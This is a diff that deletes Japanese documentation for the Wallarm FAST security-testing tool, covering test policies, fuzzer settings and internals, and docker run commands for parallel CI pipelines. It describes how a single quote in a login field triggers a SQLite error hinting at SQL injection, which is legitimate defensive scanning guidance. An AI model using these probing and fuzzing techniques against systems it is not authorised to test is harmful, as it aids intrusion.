"マウントしたディレクトリ内のファイル" - マウントしたディレクトリには、認証用の資格情報が記載されたファイルのみを含める必要がある点にご注意ください。 - -## 認証パラメータを定義した.yml/.yamlファイルの例 - -`.yml`/`.yaml`ファイルで定義するパラメータのセットは、アプリケーションで使用される認証方式に依存します。 - -以下は、APIリクエストの最も一般的な認証方法を定義する例です: - -* `username`と`password`パラメータが`Cookie`リクエストヘッダーで渡される場合 - - ``` - modify: - - HEADER_Cookie_COOKIE_username_value: "test_account" - - HEADER_Cookie_COOKIE_password_value: "Qww3okei" - ``` - -* `token`パラメータが`Cookie`リクエストヘッダーで渡される場合 - - ``` - modify: - - HEADER_COOKIE_COOKIE_token_value: "fl49qam93mfu0uhgh00gilssj2" - ``` \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/attacks-to-test.md b/docs/latest-ja/fast/operations/test-policy/attacks-to-test.md deleted file mode 100644 index 7ffb275c7b..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/attacks-to-test.md +++ /dev/null @@ -1,45 +0,0 @@ -[img-custom-dsl-slider]: ../../../images/fast/operations/en/test-policy/policy-editor/custom-slider.png - -[link-user-extensions]: ../../dsl/intro.md -[link-connect-extensions]: ../../dsl/using-extension.md - -[doc-fuzzer]: fuzzer-intro.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability - -[vuln-ptrav]: ../../vuln-list.md#path-traversal -[vuln-rce]: ../../vuln-list.md#remote-code-execution-rce -[vuln-sqli]: ../../vuln-list.md#sql-injection -[vuln-xss]: ../../vuln-list.md#cross-site-scripting-xss -[vuln-xxe]: ../../vuln-list.md#attack-on-xml-external-entity-xxe - - -# 脆弱性検出プロセスの設定 - -FASTは、次のオプションを使用して[脆弱性][gl-vuln]を検出します： - -* 組み込みのFAST拡張 -* [カスタム拡張][link-user-extensions] - - !!! info "カスタム拡張" - カスタム拡張を使用するには、それらをFASTノードに[接続][link-connect-extensions]してください。 - -アプリケーションにおける脆弱性の検出方法は、次のように制御できます。 - -* 組み込みのFAST拡張を使用してテストを実行する場合は、実行したい脆弱性のチェックボックスにチェックを入れます。 -* 組み込みのFAST拡張を除外してカスタム拡張のみを使用してテストを実行する場合は、すべてのチェックボックスのチェックを外すか、**Use only custom DSL**スイッチを有効にして、リストから脆弱性を選択します。 - - ![custom DSLスイッチ][img-custom-dsl-slider] - - なお、**Use only custom DSL**スイッチを有効にすると、組み込みのFAST拡張と[FAST fuzzer][doc-fuzzer]は無効になります。FAST fuzzerが有効になっている場合は、**Use only custom DSL**スイッチは再び非アクティブになります。 - -!!! info "基本的な脆弱性" - ポリシーを作成する際、アプリケーションで検出可能な最も一般的な脆弱性がデフォルトで選択されます： - - * [パストトラバーサル（PTRAV）][vuln-ptrav]、 - * [リモートコード実行（RCE）][vuln-rce]、 - * [SQLインジェクション（SQLi）][vuln-sqli]、 - * [クロスサイトスクリプティング（XSS）][vuln-xss]、 - * [XML外部実体（XXE）への攻撃に対する脆弱性][vuln-xxe]。 - - カスタムポリシーを使用する場合は、いつでも対応するチェックボックスのチェックを外すことで、特定の脆弱性に対するアプリケーションのテストを無効にできます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/examples.md b/docs/latest-ja/fast/operations/test-policy/examples.md deleted file mode 100644 index 0e2d81e22e..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/examples.md +++ /dev/null @@ -1,104 +0,0 @@ -# テストポリシーの例 - -本書では、FASTのテストポリシーの例をいくつか紹介します。FASTドキュメントで使用しているものも含まれ、ポリシーの扱い方のあらゆる側面を示します。 - -!!! info "リクエスト要素の記述構文" - FASTのテストポリシーは、ベースラインリクエストの特定の要素をFASTノードが扱う権限を許可または拒否します。 - - これらの要素は[ポイント](../../dsl/points/intro.md)で説明されます。 - - 以下のサンプルテストポリシーでは、各ベースラインリクエストの要素に対応するポイントを併記しています。例: 任意のGETパラメータ（`GET_.*`）。 - -!!! info "脆弱性の検出" - [FASTが検出可能な脆弱性の一覧](../../vuln-list.md) - - テストポリシーの設定時に選択する脆弱性の種類は、どの組み込みのFAST拡張（detects）が実行されるかに影響します。 - - カスタムFAST拡張は、ポリシー設定でその脆弱性タイプを選択していなくても、自身が検出対象として設計された脆弱性タイプの検出を試みます。 - - 例えば、ポリシーがRCE向けのテストのみを許可していても、カスタム拡張はアプリケーションをSQLiの脆弱性についてテストします。 - -## デフォルトのテストポリシー - -これは、一般的なリクエスト要素の扱いと典型的な脆弱性のテストを許可する、変更不可のテストポリシーです。 - -**このポリシーで扱いを許可する要素:** - -* 任意のGETおよびPOSTパラメータ（`GET_.*`および`POST_.*`） -* URI（`URI`） -* URI内の任意のパス（`PATH_.*`） -* URLアクション名と拡張子（`ACTION_NAME`および`ACTION_EXT`） - -**対象アプリケーションは、組み込みのFAST拡張によって** PTRAV、RCE、SQLI、XSS、XXEの脆弱性についてテストされます。 - -**このポリシーの特記事項:** fuzzingをサポートしません。fuzzerを有効化するには、別のテストポリシーを作成してください（[例](#policy-that-allows-working-with-uri-and-encoded-email-post-parameters-fuzzer-is-enabled)）。 - -![ポリシー例](../../../images/fast/operations/en/test-policy/examples/default-policy-example.png) - -!!! info "注意" - 次の点にご留意ください。 - - * 新しいテストポリシーを作成すると、その設定はデフォルトポリシーと同一です。必要に応じて新しいポリシーの設定を変更できます。 - * このポリシーは、FASTをCI/CDに統合する[例](../../poc/examples/circleci.md)で使用できます。 - -## すべてのGETおよびPOSTパラメータの扱いを許可するポリシー - -このテストポリシーは、リクエスト内のすべてのGET（`GET_.*`）およびPOSTパラメータ（`POST_.*`）の扱いを許可します。 - -**対象アプリケーションは、組み込みのFAST拡張によって** XSS脆弱性についてテストされます。 - -**このポリシーの特記事項:** fuzzerは無効です。 - -![ポリシー例](../../../images/fast/operations/en/test-policy/examples/get-post-policy-example.png) - -!!! info "注意" - Quick Startガイドでは、このポリシーを使用して対象アプリケーション[Google Gruyere](../../qsg/test-run.md)のセキュリティテストを実施できます。 - -## URIとエンコードされたemailのPOSTパラメータの扱いを許可するポリシー（カスタムFAST拡張のみ実行可能） - -このテストポリシーは、リクエスト内のURI（`URI`）と`email`のPOSTパラメータの扱いを許可します。`email`パラメータはJSONでエンコードされています（`POST_JSON_DOC_HASH_email_value`）。 - -**このポリシーの特記事項:** - -* 実行できるのはカスタムFAST拡張のみで、組み込みのFAST detectsは実行されません。 -* fuzzerは無効です。 - -![ポリシー例](../../../images/fast/operations/en/test-policy/examples/custom-dsl-example.png) - -!!! info "注意" - このポリシーは[サンプルのカスタム拡張](../../dsl/using-extension.md)の実行に使用できます。 - -## URIとエンコードされたemailのPOSTパラメータの扱いを許可するポリシー（Fuzzerを有効化） {#policy-that-allows-working-with-uri-and-encoded-email-post-parameters-fuzzer-is-enabled} - -このポリシーは、リクエスト内の`email`のPOSTパラメータの扱いを許可します。`email`パラメータはJSONでエンコードされています（`POST_JSON_DOC_HASH_email_value`）。 - -**このポリシーの特記事項:** - -* fuzzerは有効です。 -* 組み込みのFAST拡張はすべて無効です（脆弱性は選択しません）。これはfuzzer使用時に可能です。 - -**このサンプルポリシーにおけるfuzzerの設定:** - -* ペイロードは最大123バイトで、デコード後のポイント値の先頭に挿入します（この例ではポイントは`POST_JSON_DOC_HASH_email_value`の1つのみです）。 -* 次を前提とします。 - - * サーバーレスポンスボディに`SQLITE_ERROR`という文字列が含まれている場合は異常と見なします。 - * サーバーレスポンスコードの値が`500`未満の場合は異常なしと見なします。 - * すべてのペイロードを確認し終えるか、異常が2件を超えて検出された場合、fuzzerは実行を停止します。 - -![ポリシー例](../../../images/fast/operations/en/test-policy/examples/enabled-fuzzer-example.png) - -!!! info "注意" - このポリシーは、[OWASP Juice Shopのログインフォーム](../../dsl/extensions-examples/overview.md)の脆弱性発見に使用できます。 - -## 特定のポイントの値の扱いを拒否するポリシー - -このテストポリシーは、リクエスト内のすべてのGETパラメータ（`GET_.*`）の扱いを許可しますが、`sessionid`のGETパラメータ（`GET_sessionid_value`）のみは除外します。 - -特定のポイントの扱いをFASTに禁止したい場合（例えば、特定のパラメータ値が意図せず変更されると対象アプリケーションの動作に支障をきたすおそれがある場合）に、このような動作を設定すると有用です。 - -**対象アプリケーションは、組み込みのFAST拡張によって** AUTHおよびIDORの脆弱性についてテストされます。 - -**このポリシーの特記事項:** fuzzerは無効です。 - -![ポリシー例](../../../images/fast/operations/en/test-policy/examples/sessionid-example.png) \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/fuzzer-configuration.md b/docs/latest-ja/fast/operations/test-policy/fuzzer-configuration.md deleted file mode 100644 index cb9e772416..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/fuzzer-configuration.md +++ /dev/null @@ -1,102 +0,0 @@ -[img-enable-fuzzer]: ../../../images/fast/operations/common/test-policy/fuzzer/fuzzer-slider.png -[img-manipulate-items]: ../../../images/fast/operations/common/test-policy/fuzzer/manipulate-fuzzer-items.png -[img-anomaly-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/anomaly-condition.png -[img-not-anomaly-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/not-anomaly-condition.png -[img-stop-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/stop-condition.png - -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor-payloads-section]: #the-payloads-section -[anchor-anomaly-section]: #the-consider-result-an-anomaly-if-response-section -[anchor-not-anomaly-section]: #the-consider-result-not-an-anomaly-if-response-section -[anchor-stop-section]: #the-stop-fuzzing-if-response-section - -# Fuzzerの設定 - -!!! info "fuzzerの有効化" - fuzzerはデフォルトで無効です。WallarmアカウントのポリシーエディタのFuzz testingセクションで有効化できます: - - ![fuzzerの有効化][img-enable-fuzzer] - - fuzzerのスイッチと、Attacks to testセクションにあるUse only custom DSLスイッチは相互排他です。 - - ポリシーはデフォルトではfuzzerをサポートしません。 - -fuzzerおよび異常検知に関する設定は、ポリシーエディタのFuzz testingセクションにあります。 - -アプリケーションの異常を検査するために、FASTは異常バイトを含むペイロードを持つリクエストに対する対象アプリケーションのレスポンスを解析します。指定した条件に応じて、FASTが送信したリクエストが異常とみなされるかどうかが判定されます。 - -Wallarmアカウントのポリシーエディタでは次の操作が可能です: - -* Add payloadおよびAdd another payloadボタンをクリックしてペイロードを追加できます -* Add conditionおよびAdd another conditionボタンをクリックして、fuzzerの動作に影響する条件を追加できます -* それらの近くにある«—»記号をクリックして、作成済みのペイロードと条件を削除できます - -![ペイロードと条件の管理][img-manipulate-items] - -条件を設定する際には、次のパラメータを使用できます: - -* **Status**: HTTPSレスポンスコード -* **Length**: レスポンス長（バイト） -* **Time**: レスポンス時間（秒） -* **Length diff**: FASTリクエストと元のベースラインリクエストに対するレスポンス長の差（バイト） -* **Time diff**: FASTリクエストと元のベースラインリクエストに対するレスポンス時間の差（秒） -* **DOM diff**: FASTリクエストと元のベースラインリクエストでのDOM要素数の差 -* **Body**: [Ruby正規表現][link-ruby-regexp]。レスポンスボディがこの正規表現に一致した場合に条件が満たされます - -[**Stop fuzzing if response**][anchor-stop-section]セクションでは、次のパラメータも設定できます: - -* **Anomalies**: 検出された異常の数 -* **Timeout errors**: サーバーからレスポンスが受信できなかった回数 - -これらのパラメータを組み合わせて、fuzzerの動作に影響する必要な条件を設定できます（以下を参照）。 - -## 「Payloads」セクション {#the-payloads-section} - -このセクションでは1つ以上のペイロードを設定します。 - -ペイロードを挿入する場合は、次のデータを指定します: - -* サイズを1〜255バイト -* ペイロードを挿入する位置: 先頭、ランダム、または末尾 - -ペイロードを置換する場合は、次のデータを指定します: - -* 置換方法: 値内のランダムなセグメントの置換、先頭の`M`バイト、末尾の`M`バイト、または文字列全体 -* サイズ`M`は1〜255バイト - -## 「Consider Result an Anomaly if Response」セクション {#the-consider-result-an-anomaly-if-response-section} - -アプリケーションからのレスポンスが「Consider result an anomaly if response」セクションで設定したすべての条件を満たす場合、異常が見つかったと見なされます。 - -**例:** - -レスポンスボディが正規表現`.*SQLITE_ERROR.*`に一致する場合、送信したFASTリクエストが異常を引き起こしたと見なします: - -![条件の例][img-anomaly-condition] - -!!! info "デフォルトの動作" - このセクションに条件が設定されていない場合、fuzzerはベースラインリクエストへのレスポンスと比較してパラメータが異常に異なるサーバーレスポンスを検出します。例えば、サーバーレスポンス時間が長いことが、サーバーレスポンスを異常と検出する理由になり得ます。 - -## 「Consider result not an anomaly if response」セクション {#the-consider-result-not-an-anomaly-if-response-section} - -アプリケーションからのレスポンスが「Consider result not an anomaly if response」セクションで設定したすべての条件を満たす場合、異常は見つからなかったと見なされます。 - -**例:** - -レスポンスコードが`500`未満であれば、送信したFASTリクエストは異常を引き起こしていないと見なします: - -![条件の例][img-not-anomaly-condition] - -## 「Stop fuzzing if response」セクション {#the-stop-fuzzing-if-response-section} - -アプリケーションのレスポンス、検出された異常の数、またはタイムアウトエラーの回数が「Stop fuzzing if response」セクションで設定したすべての条件を満たした場合、fuzzerは異常の探索を停止します。 - -**例:** - -2件を超える異常が検出された場合、ファジングは停止します。各異常における単一の異常バイトの個数は2でない任意の数で構いません。 - -![条件の例][img-stop-condition] - -!!! info "デフォルトの動作" - ファジングを停止する条件が設定されていない場合、fuzzerは255個すべての異常バイトをチェックします。異常が検出された場合、ペイロード内の各バイトを個別に停止します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/fuzzer-internals.md b/docs/latest-ja/fast/operations/test-policy/fuzzer-internals.md deleted file mode 100644 index 1f3766021d..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/fuzzer-internals.md +++ /dev/null @@ -1,68 +0,0 @@ -[img-search-for-anomalies]: ../../../images/fast/operations/en/test-policy/fuzzer/search-for-anomalies-scheme.png -[img-anomaly-description]: ../../../images/fast/operations/common/test-policy/fuzzer/anomaly-description.png - -[doc-fuzzer-configuration]: fuzzer-configuration.md - -[link-payloads-section]: fuzzer-configuration.md#the-payloads-section -[link-stop-fuzzing-section]: fuzzer-configuration.md#the-stop-fuzzing-if-response-section - - -# Fuzzerの動作原理 - -fuzzerは`0x01`から`0xFF`までの255個の*異常バイト*をチェックします。このようなバイトを1つ以上リクエストのポイントに挿入すると、対象アプリケーションが異常動作を示す可能性があります。 - -各バイトを個別に確認する代わりに、fuzzerは固定長の異常バイトのシーケンス（*ペイロード*）を1つ以上ポイントに追加し、そのリクエストをアプリケーションに送信します。 - -許可されたポイントを変更するために、fuzzerは次の処理を行います: - -* ペイロードを挿入します: - - * 値の先頭 - * 値のランダムな位置 - * 値の末尾 -* ペイロードで次のように値を置換します: - - * ランダムなセグメント - * 先頭の`M`バイト - * 末尾の`M`バイト - * 文字列全体 - -[fuzzerの設定][doc-fuzzer-configuration]では、FASTからアプリケーションへ送信するリクエストに含めるペイロードのサイズ`M`をバイト数で指定します。これは次の点に影響します: - -* ペイロードの挿入を使用する場合に、ポイントの値に追加されるバイト数 -* ペイロードの置換を使用する場合に、ポイントの値で置換されるバイト数 -* アプリケーションに送信されるリクエストの数 - -ペイロード付きリクエストに対するレスポンスで異常動作が検出された場合、fuzzerは各ペイロードバイトごとに個別のリクエストをアプリケーションへ送信します。こうして、異常動作を引き起こした特定のバイトを特定します。 - -![異常バイトのチェックの模式図][img-search-for-anomalies] - -検出されたバイトはすべて、異常の説明に表示されます: - -![異常の説明][img-anomaly-description] - -??? info "Fuzzerの動作例" - ペイロードサイズを250バイトとして、あるポイント値の先頭250バイトを[置換](fuzzer-configuration.md)するとします。 - - この条件では、既知の異常バイトをすべて送信するために、fuzzerは250バイトのペイロードを用いるリクエストと5バイトのペイロードを用いるリクエストの2つを作成します。 - - ベースラインリクエストの初期のポイント値は次のように変更されます: - - * 値が250バイトより長い場合: まず先頭250バイトが250バイトのペイロードで置換され、次に先頭250バイトが5バイトのペイロードで置換されます。 - * 値が250バイトより短い場合: まず値全体が250バイトのペイロードで置換され、その後、値全体が5バイトのペイロードで置換されます。 - - 仮に、5バイトの`ABCDE`というペイロードが、長いポイント値`_250-bytes-long-head_qwerty`の先頭250バイトを置換して異常を引き起こしたとします。言い換えると、ポイント値が`ABCDEqwerty`のテストリクエストが異常を引き起こしたということです。 - - この場合、fuzzerは各バイトを確認するために、次のポイント値で5つの追加リクエストを作成します: - - * `Aqwerty` - * `Bqwerty` - * `Cqwerty` - * `Dqwerty` - * `Eqwerty` - - このうち1つ以上のリクエストで再び異常が発生し、fuzzerは検出された異常バイトの一覧を作成します。例えば、`A`、`C`です。 - -次に、[ファジングの設定][doc-fuzzer-configuration]および異常が検出されたかどうかを判定するルールの説明を確認できます。 - -FASTのfuzzerは、1回のイテレーション（*ファジング*）につき1つの許可されたポイントを処理します。[ファジングの停止ルール][link-stop-fuzzing-section]に応じて、1つ以上のポイントが順次処理されます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/fuzzer-intro.md b/docs/latest-ja/fast/operations/test-policy/fuzzer-intro.md deleted file mode 100644 index f7466e3cf8..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/fuzzer-intro.md +++ /dev/null @@ -1,23 +0,0 @@ -[doc-fuzzer-internals]: fuzzer-internals.md -[doc-fuzzer-configuration]: fuzzer-configuration.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability -[gl-anomaly]: ../../terms-glossary.md#anomaly - -# 異常検知プロセスの設定: 概要 - -[脆弱性][gl-vuln]の検出に加えて、FASTは*fuzzer*を使用して[異常][gl-anomaly]を検出できます。 - -このドキュメントセクションでは、以下の項目について説明します: - -* [Fuzzerの動作原理][doc-fuzzer-internals] -* [Policy Editorを使用したFuzzerの設定][doc-fuzzer-configuration] - -??? info "異常の例" - 対象アプリケーション[OWASP Juice Shop](https://www.owasp.org/www-project-juice-shop/)の異常な挙動は、[FAST拡張の例](../../dsl/extensions-examples/mod-extension.md)で示しています。 - - この対象アプリケーションは、ログイン名とパスワードの誤った組み合わせによる認証リクエストに対して、通常は`403 Unauthorized`コードと`Invalid email or password.`メッセージで応答します。 - - しかし、ログイン値の任意の部分に`'`記号を含めて送信すると、アプリケーションは`500 Internal Server Error`コードと`...SequelizeDatabaseError: SQLITE_ERROR:...`メッセージで応答します。このような挙動は異常です。 - - この異常はいずれの脆弱性の直接的な悪用にもつながりませんが、攻撃者にアプリケーションアーキテクチャに関する情報を与え、[SQLインジェクション](../../vuln-list.md#sql-injection)攻撃の実行を促します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/general.md b/docs/latest-ja/fast/operations/test-policy/general.md deleted file mode 100644 index 706994cc1f..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/general.md +++ /dev/null @@ -1,19 +0,0 @@ -[img-tab-general]: ../../../images/fast/operations/common/test-policy/policy-editor/tab-general.png - -# ポリシーの基本設定 - -ポリシーを作成または編集すると、Wallarmアカウントのポリシーエディタの**General**セクションが表示されます。このセクションには、ポリシーの一般設定が含まれています。 - -![ポリシーエディタのGeneralセクション][img-tab-general] - -このセクションでは、次の項目の入力が必要です: - -* ポリシー名 -* ポリシーの説明 - -また、ポリシーに1つ以上のタグを追加できます。これにより、このタグが付いた特定のポリシーで使用されているテストをすばやく見つけることができます。 - -ポリシーエディタの最初の部分には、次のオプションが含まれます: - -* ポリシーの使用状況に関する統計（このデータは既存のポリシーでのみ利用可能です） -* テキスト形式で記述されたテストポリシー \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/insertion-points.md b/docs/latest-ja/fast/operations/test-policy/insertion-points.md deleted file mode 100644 index d666ff11c7..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/insertion-points.md +++ /dev/null @@ -1,46 +0,0 @@ -[img-remove-point]: ../../../images/fast/operations/common/test-policy/policy-editor/remove-point.png -[img-point-help]: ../../../images/fast/operations/common/test-policy/policy-editor/point-help.png - -[link-get-point]: ../../dsl/points/parsers/http.md#get-filter -[link-post-point]: ../../dsl/points/parsers/http.md#post-filter -[link-path-point]: ../../dsl/points/parsers/http.md#path-filter -[link-action-name-point]: ../../dsl/points/parsers/http.md#action_name-filter -[link-action-ext-point]: ../../dsl/points/parsers/http.md#action_ext-filter -[link-uri-point]: ../../dsl/points/parsers/http.md#uri-filter - -[doc-point-list]: ../../dsl/points/parsers.md - -# ポイント処理ルールの設定 - -ポイントは、Wallarmアカウントのpolicy editor内の**Insertion Points**セクションで設定します。このセクションは次の2つのブロックに分かれています: - -* **Where in the request to include** 処理が許可されているポイント用 -* **Where in the request to exclude** 処理が許可されていないポイント用 - -作成したポイントの一覧を追加するには、該当のブロックで**Add insertion point**ボタンを使用します。 - -ポイントを削除するには、その隣の«—»記号を使用します: - -![ポイントの削除][img-remove-point] - -!!! info "基本的なポイント" - ポリシーを作成する際、一般的なポイントが**Where in the request to include**セクションに自動的に追加されます: - - * `URI_value`: [URI][link-uri-point] - * `PATH_.*`: URIの[パス][link-path-point]の任意の部分 - * `ACTION_NAME`: [アクション][link-action-name-point] - * `ACTION_EXT`: [拡張子][link-action-ext-point] - * `GET_.*`: 任意の[GETパラメータ][link-get-point] - * `POST_.*`: 任意の[POSTパラメータ][link-post-point] - - デフォルトでは、**Where in the request to exclude**セクションのポイント一覧は空です。 - - 同じポイント一覧がデフォルトポリシーにも設定されています。このポリシーは変更できません。 - - -!!! info "ポイントのリファレンス" - ポイントを作成または編集する際は、**How to use**リンクをクリックすると、ポイントに関する追加の詳細情報を確認できます。 - - ![ポイントのリファレンス][img-point-help] - - FASTが処理可能なポイントの全一覧は[リンク][doc-point-list]で参照できます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/overview.md b/docs/latest-ja/fast/operations/test-policy/overview.md deleted file mode 100644 index 3878a59fed..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/overview.md +++ /dev/null @@ -1,53 +0,0 @@ -[doc-insertion-points]: insertion-points.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability -[gl-point]: ../../terms-glossary.md#point -[gl-anomaly]: ../../terms-glossary.md#anomaly - -# FASTテストポリシー: 概要 - -FASTは、アプリケーションの[脆弱性][gl-vuln]をテストする際のFASTノードの動作を設定できるテストポリシーを使用します。本セクションのドキュメントにはテストポリシーの管理手順が記載されています。 - -!!! info "用語" - 本セクションでは「FAST test policy」という用語を「policy」と略記することがあります。 - -## テストポリシーの原則 - -FASTはリクエストの要素を[ポイント][gl-point]として表現し、処理が許可されたポイントを1つ以上含むリクエストのみを処理します。このようなポイントの一覧はポリシーで定義します。リクエストに許可されたポイントが含まれていない場合、そのリクエストは破棄され、それを基にテストリクエストは作成されません。 - -ポリシーは以下の事項を規定します: - -* テストの実施方法 - - テスト中、FASTは以下の方法のうち1つ以上を用います: - - * 内蔵のFAST拡張機能（*detects*とも呼ばれます）を使用した脆弱性の検出 - * カスタム拡張機能を使用した脆弱性の検出 - * FASTのファズテストを用いた[アノマリー][gl-anomaly]の検出 - -* アプリケーションのテスト中にFASTノードが処理するベースラインリクエストの要素 - - 処理を許可するポイントは、お使いのWallarmアカウントのpolicy editorにある**Insertion points** > **Where in the request to include**セクションで設定します。Insertion pointsの詳細は[こちら][doc-insertion-points]をご覧ください。 - -* アプリケーションのテスト中にFASTノードが処理しないベースラインリクエストの要素 - - 処理を許可しないポイントは、お使いのWallarmアカウントのテストポリシー設定内の**Insertion points** > **Where in the request to exclude**セクションで設定します。Insertion pointsの詳細は[こちら][doc-insertion-points]で参照できます。 - - 処理を許可しないポイントの設定は、**Where in the request to include**セクションで多様なポイントを許可しており、個別の要素の処理を除外する必要がある場合に役立ちます。たとえば、すべてのGETパラメータ（`GET_.*`）の処理を許可していて、`uuid`パラメータの処理のみを除外したい場合は、**Where in the request to exclude**セクションに`GET_uid_value`という式を追加します。 - -!!! warning "ポリシーのスコープ" - ポイントを明示的に除外した場合、FASTノードはポリシーで許可されたポイントのみを処理します。 - - それ以外のポイントの処理は実施されません。 - -??? info "ポリシー例" - ![ポリシー例](../../../images/fast/operations/common/test-policy/overview/policy-flow-example.png) - - 上の画像は、FASTノードが脆弱性を検出する際に使用するポリシーを示しています。このポリシーでは、ベースラインリクエスト内のすべてのGETパラメータを処理できますが、常に変更せずに対象アプリケーションへ渡されるGETパラメータ`token`は除外されています。 - - さらに、このポリシーでは、fuzzerが非アクティブな間、内蔵のFAST拡張機能およびカスタム拡張機能を使用できます。 - - したがって、detectsおよび拡張機能を用いた脆弱性テストは、ベースラインリクエスト**A**（`/app.php?uid=1234`）に対してのみ実行されます - 。 - - 一方、ベースラインリクエスト**B**（`/app.php?token=qwe1234`）には処理が許可されたGETパラメータが含まれていないため、脆弱性テストは実行されません。代わりに、除外されたパラメータ`token`が含まれています。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-policy/using-policy.md b/docs/latest-ja/fast/operations/test-policy/using-policy.md deleted file mode 100644 index 439c2037d8..0000000000 --- a/docs/latest-ja/fast/operations/test-policy/using-policy.md +++ /dev/null @@ -1,38 +0,0 @@ -[img-set-policy-in-gui]: ../../../images/fast/operations/common/test-policy/overview/tr-gui-set-policy.png -[img-get-policy-id]: ../../../images/fast/operations/common/test-policy/overview/get-policy-id.png - -[doc-pol-tr-relations]: ../internals.md#fast-test-policy -[doc-tr-creation-gui]: ../create-testrun.md#creating-a-test-run-via-web-interface -[doc-tr-creation-api]: ../create-testrun.md#creating-a-test-run-via-api -[doc-tr-copying-gui]: ../copy-testrun.md#copying-a-test-run-via-web-interface -[doc-tr-copying-api]: ../copy-testrun.md#copying-a-test-run-via-an-api - -[doc-ci-mode]: ../../poc/integration-overview-ci-mode.md -[doc-tr-pid-envvar]: ../../poc/ci-mode-testing.md#environment-variables-in-testing-mode - -[link-pol-list-eu]: https://my.wallarm.com/testing/policies/ -[link-pol-list-us]: https://us1.my.wallarm.com/testing/policies/ - - -# テストポリシーの使用 - -テストポリシーはセキュリティテストと[関連付けられています][doc-pol-tr-relations]。テストイテレーションの作成時に、各テストポリシーがFAST nodeの動作を定義・指定します。 - -テストポリシーは次の方法で指定できます。 - -* インターフェースを使用する場合、テストを[作成][doc-tr-creation-gui]または[コピー][doc-tr-copying-gui]する際に、**Test policy**ドロップダウンリストからポリシーを選択します: - - ![インターフェースでのテストラン作成時のテストポリシー選択][img-set-policy-in-gui] - -* テストポリシーIDを指定します: - * APIメソッドでテストを[作成][doc-tr-creation-api]または[コピー][doc-tr-copying-api]する場合は、APIリクエスト内で指定します - * [FAST node][doc-ci-mode]でテストを管理する場合は、[`TEST_RUN_POLICY_ID`][doc-tr-pid-envvar]環境変数で指定します - - テストポリシーIDは、Wallarmアカウントのポリシー一覧（[EUクラウド][link-pol-list-eu]または[USクラウド][link-pol-list-us]）で確認できます。 - - ![ポリシーIDの取得][img-get-policy-id] - -!!! info "デフォルトのテストポリシー" - FASTは**Default Policy**を自動的に作成して適用します。このポリシーは、最も一般的に使用されるリクエストポイントを確認することで、典型的な脆弱性についてアプリケーションをテストします。 - - なお、デフォルトのテストポリシーの設定は変更できません。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/ci-mode-concurrent-pipelines.md b/docs/latest-ja/fast/poc/ci-mode-concurrent-pipelines.md deleted file mode 100644 index b9b036e977..0000000000 --- a/docs/latest-ja/fast/poc/ci-mode-concurrent-pipelines.md +++ /dev/null @@ -1,98 +0,0 @@ -[doc-ci-recording]: ci-mode-recording.md -[doc-ci-recording-example]: ci-mode-recording.md#deployment-of-a-fast-node-in-recording-mode -[doc-ci-testing]: ci-mode-testing.md -[doc-ci-testing-example]: ci-mode-testing.md#deployment-of-a-fast-node-in-the-testing-mode - -# 並行CI/CDワークフローでのFASTの使用 - -!!! info "必要なデータ" - 本ドキュメントでは以下の値を例として使用します。 - - * トークンとして`token_Qwe12345`を使用します。 - * テストレコード識別子として`rec_1111`および`rec_2222`を使用します。 - -並行CI/CDワークフローでは、複数のFASTノードを同時にデプロイできます。これらのノードは同じトークンを共有し、単一のクラウドFASTノードで動作します。 - -このデプロイ方式は、[記録][doc-ci-recording]および[テスト][doc-ci-testing]の両モードで動作するFASTノードに適用できます。 - -並行実行されるFASTノードの動作中に競合を避けるため、`BUILD_ID`環境変数を各ノードのコンテナに渡します。この変数は次の目的で使用します: -1. 記録モードのFASTノードが作成するテストレコードの追加識別子として使用します。 -2. テストモードのFASTノードが作成するテスト実行がどのテストレコードを使用すべきかを特定できるようにします（テスト実行がそのテストレコードに紐付けられます）。 -3. 特定のCI/CDワークフローを識別します。 - -`BUILD_ID`環境変数の値には、英字と数字の任意の組み合わせを指定できます。 - -次に、2つのFASTノードを同時に実行する方法の例を示します。まず記録モード、その後テストモードです。以下のアプローチはスケーラブルで（必要な数だけノードを使用できます。以下の例のように2つに限定されません）、実際のCI/CDワークフローに適用できます。 - - -## 並行CI/CDワークフローで使用するためのFASTノードの記録モード実行 - -!!! info "例に関する注意" - 以下の例では、FASTノードコンテナが起動して動作するのに必要な最小限の環境変数のみを使用しています。説明を簡単にするためです。 - -最初のFASTノードコンテナを記録モードで実行するには、次のコマンドを実行します: - -``` -docker run --rm --name fast-node-1 \ # このコマンドはfast-node-1コンテナを実行します --e WALLARM_API_HOST=api.wallarm.com \ # Wallarm APIサーバーホスト（この例ではホストは欧州のWallarm Cloudにあります） --e WALLARM_API_TOKEN='qwe_12345' \ # クラウドFASTノードに接続するためのトークンです --e CI_MODE=recording \ # このノードは記録モードで動作します --e BUILD_ID=1 \ # BUILD_IDの値（並行する別のパイプラインで使用する値とは異なる必要があります） --p 8080:8080 wallarm/fast # ここでポートマッピングを行います。また、使用するDockerイメージもここで指定します。 -``` - -2つ目の同時実行FASTノードコンテナを記録モードで実行するには、次のコマンドを実行します: - -``` -docker run --rm --name fast-node-2 \ --e WALLARM_API_HOST=api.wallarm.com \ --e WALLARM_API_TOKEN='qwe_12345' \ 